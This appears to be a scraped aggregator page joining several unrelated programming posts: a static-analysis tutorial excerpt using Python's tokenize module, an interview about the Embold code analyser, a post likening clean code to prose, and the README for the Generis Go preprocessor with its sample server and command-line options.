Before a computer can finally “understand” and execute a piece of code, it goes through a series of complicated transformations:

static analysis workflow

As you can see in the diagram (go ahead, zoom it!), the static analyzers feed on the output of these stages. To be able to better understand the static analysis techniques, let’s look at each of these steps in some more detail:

Scanning

The first thing that a compiler does when trying to understand a piece of code is to break it down into smaller chunks, also known as tokens. Tokens are akin to what words are in a language.

A token might consist of either a single character, like (, or literals (like integers, strings, e.g., 7Bob, etc.), or reserved keywords of that language (e.g, def in Python). Characters which do not contribute towards the semantics of a program, like trailing whitespace, comments, etc. are often discarded by the scanner.

Python provides the tokenize module in its standard library to let you play around with tokens:

Python

1

import io

2

import tokenize

3

4

code = b"color = input('Enter your favourite color: ')"

5

6

for token in tokenize.tokenize(io.BytesIO(code).readline):

7

    print(token)

Python

1

TokenInfo(type=62 (ENCODING),  string='utf-8')

2

TokenInfo(type=1  (NAME),      string='color')

3

TokenInfo(type=54 (OP),        string='=')

4

TokenInfo(type=1  (NAME),      string='input')

5

TokenInfo(type=54 (OP),        string='(')

6

TokenInfo(type=3  (STRING),    string="'Enter your favourite color: '")

7

TokenInfo(type=54 (OP),        string=')')

8

TokenInfo(type=4  (NEWLINE),   string='')

9

TokenInfo(type=0  (ENDMARKER), string='')

(Note that for the sake of readability, I’ve omitted a few columns from the result above — metadata like starting index, ending index, a copy of the line on which a token occurs, etc.)

#code quality #code review #static analysis #static code analysis #code analysis #static analysis tools #code review tips #static code analyzer #static code analysis tool #static analyzer

Tyrique  Littel

Tyrique Littel

1604016000

Embold Is Like Autocorrect For Code, Says Vishal Rai, Founder & CEO

In our digital world, software is king. In a world so heavily dependent on software, poor code quality can result in grave consequence, from billions of dollars in lost revenue, to even fatal accidents. Here’s where Embold comes in—a static code analysis product aimed at empowering developers to do their best work.

Embold is a general-purpose static code analyser that has been designed for developers to analyse and improve their code by identifying issues across four dimensions, including design and duplication. We, at Analytics India Magazine, spoke to founder and CEO, Vishal Rai, to understand how Embold can detect anti-patterns in code for seamless integration.

Embold started a decade ago, with the vision of creating a product that can revolutionise the way developers write and design code. According to Vishal Rai, the idea was to develop a tool for software engineers and developers to write code faster and of better quality. And, after a time of extensive research and development, Vishal Rai, along with his partner Sudarshan Bhide launched their product in 2018.


Play

“We have noticed an interesting trend — as teams started becoming bigger, the issues in software started increasing as well and it was very frustrating when you were on programs which weren’t achieving their stated goals because of poor quality,” said Rai. “And that’s where we saw the opportunity of helping companies to write the product as great as Google or Apple and decided to reinvent software analytics.”

Embold — Empowering Developers to Reach Their Highest Potential

Developers always undergo immense pressure of building their products faster at the best quality possible, and such pressure can lead to compromised code quality. This impact of one line of code or one weak link can create significant issues and can massively affect the entire company. And that is why Rai believes that developers need support in being more productive. With Embold, Vishal and Sudharshan brought in a technology that can help developers be more efficient in their work and make the process of software development easy. Explaining the technology, Rai compared it with “autocorrect for code.” He said, “If you look at the legacy tools, they were built for the waterfall model, aka linear-sequential life cycle model, where one release took six months which gave enough time to test the tools. But in the current time, everything is fast, and thus developers require tools that can help them work fast and give them feedback that can be easily implemented in their workflow.” And that’s where Embold’s platform fits into the workflow that helps them find problems and maintain their code.  As a matter of fact, Rai acknowledges that there have been many great tools, already in the market, but all of them have been created for great engineers. However, today, not every engineer is necessarily as experienced as others, and in such cases, it is imperative to make tools that are easy to use and help developers analyse their software. “Embold has been built for the future, the technologies that we have ingrained have neural networks, state-of-the-art in-memory databases and analysers that are far more evolved than legacy tools,” said Rai. “Embold has been created to enable people who aren’t as skilled to write better codes. Not only it fills the skills gap but also brings the new age developers closer to the best developers on the planet.”


#featured #bugs and errors in code #embold a autocorrect for code #embold find bugs and errors in code #embold for developers #embold help developers #embold maintains code quality #embold revolutionise writing code #static code analyser

Fannie  Zemlak

Fannie Zemlak

1597230000

Cory House’s Analogy Between Writing Code and Writing Prose

Image for post

I’m working through Cory House’s Pluralsight course, Clean Coding Principles in C#, and something interesting has caught my attention.

House makes a strong case between writing code and writing prose. As a writer myself, I’ve long seen the parallels between writing and coding. However, House takes the analogy further, and draws many parallels between writing clean code and the writing you’d find in a book or article.

The analogy is a good one because it’s concrete and relatable: all of us read books and all of us write code.

We know a book is well written when reading it is easy. That’s because:

  • Chapters are organized.
  • Headers give us specific information about the paragraphs that follow.
  • Each paragraph contains one idea.
  • Each character is developed.

We can apply the same principles found in writing prose as in writing code. House shows us how.

1. Write variable names that clearly convey your intent, like names in a book.

“Imagine reading a book with random, one-letter abbreviations throughout,” House suggests. Here’s an example: “P was very angry with G for insulting her M…He slept on the C.”

Despite the bad names, House acknowledges, you can probably get the main idea of what’s going on. But you have to work at it.

That’s an important point: the reader shouldn’t have to work at it. It’d be much clearer and easier to read something like this: “Pam was very angry with George for insulting her mom…He slept on the couch.” The non-letter abbreviations have been replaced with clear, meaningful names.

The same principle is true when writing code. It’s clearer and easier to read a variable like employee_total instead of seeing a seemingly random letter, e. “Understanding the programmer’s intent is the biggest problem,” House says. “So we must strive to be crystal clear about what we meant to do.”

Key point: Be intentional with your names.

2. “Functions are like paragraphs, for code.”

In school, most of us probably learned a golden rule of writing paragraphs: one idea per paragraph. A similar rule applies when writing functions: each function has a single purpose.

Key point: It’s easier to read and understand — both paragraphs and functions — that are clear, focused, and don’t do too much.

3. “Initialize variables just in time,” like characters in a book.

You don’t get a list of characters up front when reading a book, House points out. Instead, you’re introduced to a new character “just in time.”

For example, we get introduced to Bob when he enters the story. Otherwise we have to keep track of Bob, Alice, and a slew of other characters unnecessarily. As a reader, that’s burdensome. It makes reading confusing. It’s why authors don’t do this.

The same is true when coding.

If you initialize all of your variables at the top of your file, then the reader has a bunch of things to remember. That’s burdensome. It makes reading confusing. Don’t do this.

“Instead, well-structured functions should….initialize variables just in time,” House says. “When the variable is needed, bring it to life.” Then, get the variable “out of scope.” That way, the reader no longer has to think about it.

Key point: Give your readers what they need — when they need it.

It’s been said that easy reading is hard writing. That’s true for writing both prose and code. Make it easy for your readers: write clear, meaningful code.

#programming #writing #learning #learning-to-code #code #visual studio code

Generis: Versatile Go Code Generator

Generis

Versatile Go code generator.

Description

Generis is a lightweight code preprocessor adding the following features to the Go language :

  • Generics.
  • Free-form macros.
  • Conditional compilation.
  • HTML templating.
  • Allman style conversion.

Sample

package main;

// -- IMPORTS

import (
    "html"
    "io"
    "log"
    "net/http"
    "net/url"
    "strconv"
    );

// -- DEFINITIONS

#define DebugMode
#as true

// ~~

#define HttpPort
#as 8080

// ~~

#define WriteLine( {{text}} )
#as log.Println( {{text}} )

// ~~

#define local {{variable}} : {{type}};
#as var {{variable}} {{type}};

// ~~

#define DeclareStack( {{type}}, {{name}} )
#as
    // -- TYPES

    type {{name}}Stack struct
    {
        ElementArray []{{type}};
    }

    // -- INQUIRIES

    func ( stack * {{name}}Stack ) IsEmpty(
        ) bool
    {
        return len( stack.ElementArray ) == 0;
    }

    // -- OPERATIONS

    func ( stack * {{name}}Stack ) Push(
        element {{type}}
        )
    {
        stack.ElementArray = append( stack.ElementArray, element );
    }

    // ~~

    func ( stack * {{name}}Stack ) Pop(
        ) {{type}}
    {
        local
            element : {{type}};

        element = stack.ElementArray[ len( stack.ElementArray ) - 1 ];

        stack.ElementArray = stack.ElementArray[ : len( stack.ElementArray ) - 1 ];

        return element;
    }
#end

// ~~

#define DeclareStack( {{type}} )
#as DeclareStack( {{type}}, {{type:PascalCase}} )

// -- TYPES

DeclareStack( string )
DeclareStack( int32 )

// -- FUNCTIONS

func HandleRootPage(
    response_writer http.ResponseWriter,
    request * http.Request
    )
{
    local
        boolean : bool;
    local
        natural : uint;
    local
        integer : int;
    local
        real : float64;
    local
        escaped_html_text,
        escaped_url_text,
        text : string;
    local
        integer_stack : Int32Stack;

    boolean = true;
    natural = 10;
    integer = 20;
    real = 30.0;
    text = "text";
    escaped_url_text = "&escaped text?";
    escaped_html_text = "<escaped text/>";

    integer_stack.Push( 10 );
    integer_stack.Push( 20 );
    integer_stack.Push( 30 );

    #write response_writer
        <!DOCTYPE html>
        <html lang="en">
            <head>
                <meta charset="utf-8">
                <title><%= request.URL.Path %></title>
            </head>
            <body>
                <% if ( boolean ) { %>
                    <%= "URL : " + request.URL.Path %>
                    <br/>
                    <%@ natural %>
                    <%# integer %>
                    <%& real %>
                    <br/>
                    <%~ text %>
                    <%^ escaped_url_text %>
                    <%= escaped_html_text %>
                    <%= "<%% ignored %%>" %>
                    <%% ignored %%>
                <% } %>
                <br/>
                Stack :
                <br/>
                <% for !integer_stack.IsEmpty() { %>
                    <%# integer_stack.Pop() %>
                <% } %>
            </body>
        </html>
    #end
}

// ~~

func main()
{
    http.HandleFunc( "/", HandleRootPage );

    #if DebugMode
        WriteLine( "Listening on http://localhost:HttpPort" );
    #end

    log.Fatal(
        http.ListenAndServe( ":HttpPort", nil )
        );
}

Syntax

#define directive

Constants and generic code can be defined with the following syntax :

#define old code
#as new code

#define old code
#as
    new
    code
#end

#define
    old
    code
#as new code

#define
    old
    code
#as
    new
    code
#end

#define parameter

The #define directive can contain one or several parameters :

{{variable name}} : hierarchical code (with properly matching brackets and parentheses)
{{variable name#}} : statement code (hierarchical code without semicolon)
{{variable name$}} : plain code
{{variable name:boolean expression}} : conditional hierarchical code
{{variable name#:boolean expression}} : conditional statement code
{{variable name$:boolean expression}} : conditional plain code

They can have a boolean expression to require they match specific conditions :

HasText text
HasPrefix prefix
HasSuffix suffix
HasIdentifier text
false
true
!expression
expression && expression
expression || expression
( expression )

The #define directive must not start or end with a parameter.

#as parameter

The #as directive can use the value of the #define parameters :

{{variable name}}
{{variable name:filter function}}
{{variable name:filter function:filter function:...}}

Their value can be changed through one or several filter functions :

LowerCase
UpperCase
MinorCase
MajorCase
SnakeCase
PascalCase
CamelCase
RemoveComments
RemoveBlanks
PackStrings
PackIdentifiers
ReplacePrefix old_prefix new_prefix
ReplaceSuffix old_suffix new_suffix
ReplaceText old_text new_text
ReplaceIdentifier old_identifier new_identifier
AddPrefix prefix
AddSuffix suffix
RemovePrefix prefix
RemoveSuffix suffix
RemoveText text
RemoveIdentifier identifier

#if directive

Conditional code can be defined with the following syntax :

#if boolean expression
    #if boolean expression
        ...
    #else
        ...
    #end
#else
    #if boolean expression
        ...
    #else
        ...
    #end
#end

The boolean expression can use the following operators :

false
true
!expression
expression && expression
expression || expression
( expression )

#write directive

Templated HTML code can be sent to a stream writer using the following syntax :

#write writer expression
    <% code %>
    <%@ natural expression %>
    <%# integer expression %>
    <%& real expression %>
    <%~ text expression %>
    <%= escaped text expression %>
    <%! removed content %>
    <%% ignored tags %%>
#end

Limitations

  • There is no operator precedence in boolean expressions.
  • The --join option requires to end the statements with a semicolon.
  • The #writer directive is only available for the Go language.

Installation

Install the DMD 2 compiler (using the MinGW setup option on Windows).

Build the executable with the following command line :

dmd -m64 generis.d

Command line

generis [options]

Options

--prefix # : set the command prefix
--parse INPUT_FOLDER/ : parse the definitions of the Generis files in the input folder
--process INPUT_FOLDER/ OUTPUT_FOLDER/ : reads the Generis files in the input folder and writes the processed files in the output folder
--trim : trim the HTML templates
--join : join the split statements
--create : create the output folders if needed
--watch : watch the Generis files for modifications
--pause 500 : time to wait before checking the Generis files again
--tabulation 4 : set the tabulation space count
--extension .go : generate files with this extension

Examples

generis --process GS/ GO/

Reads the Generis files in the GS/ folder and writes Go files in the GO/ folder.

generis --process GS/ GO/ --create

Reads the Generis files in the GS/ folder and writes Go files in the GO/ folder, creating the output folders if needed.

generis --process GS/ GO/ --create --watch

Reads the Generis files in the GS/ folder and writes Go files in the GO/ folder, creating the output folders if needed and watching the Generis files for modifications.

generis --process GS/ GO/ --trim --join --create --watch

Reads the Generis files in the GS/ folder and writes Go files in the GO/ folder, trimming the HTML templates, joining the split statements, creating the output folders if needed and watching the Generis files for modifications.

Version

2.0

Author: Senselogic
Source Code: https://github.com/senselogic/GENERIS 
License: View license

#go #golang #code